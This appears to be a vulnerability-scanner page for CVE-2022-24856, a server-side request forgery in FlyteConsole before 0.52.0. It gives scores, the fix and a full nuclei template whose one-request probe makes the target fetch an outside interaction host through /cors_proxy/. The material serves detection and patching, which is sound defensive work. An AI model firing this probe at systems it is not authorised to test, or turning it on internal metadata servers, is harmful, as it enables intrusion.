Flyte Console <0.52.0 - Server-Side Request Forgery

highseverity

7.5CVSS score

10.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur.

Impact

An attacker can exploit this vulnerability to perform unauthorized actions, such as accessing internal resources, bypassing security controls, or launching further attacks.

Fix

The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole.

How to confirm it

Send: GET {{BaseURL}}/cors_proxy/https://oast.me/
Positive when: contains "Interactsh Server"

Run it with nuclei: nuclei -id CVE-2022-24856 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-24856

info:
  name: Flyte Console <0.52.0 - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    FlyteConsole is the web user interface for the Flyte platform. FlyteConsole prior to version 0.52.0 is vulnerable to server-side request forgery when FlyteConsole is open to the general internet. An attacker can exploit any user of a vulnerable instance to access the internal metadata server or other unauthenticated URLs. Passing of headers to an unauthorized actor may occur.
  impact: |
    An attacker can exploit this vulnerability to perform unauthorized actions, such as accessing internal resources, bypassing security controls, or launching further attacks.
  remediation: |
    The patch for this issue deletes the entire cors_proxy, as this is no longer required for the console. A patch is available in FlyteConsole version 0.52.0, or as a work-around disable FlyteConsole.
  reference:
    - https://github.com/flyteorg/flyteconsole/security/advisories/GHSA-www6-hf2v-v9m9
    - https://github.com/flyteorg/flyteconsole/pull/389
    - https://hackerone.com/reports/1540906
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24856
    - https://github.com/flyteorg/flyteconsole/commit/05b88ed2d2ecdb5d8a8404efea25414e57189709
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24856
    cwe-id: CWE-918
    epss-score: 0.10479
    epss-percentile: 0.95793
    cpe: cpe:2.3:a:flyte:flyte_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: flyte
    product: flyte_console
  tags: cve2022,cve,flyteconsole,ssrf,oss,hackerone,flyte,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cors_proxy/https://oast.me/"

    matchers:
      - type: word
        words:
          - "Interactsh Server"

References

Use this check only on systems you are authorised to test. Where the data comes from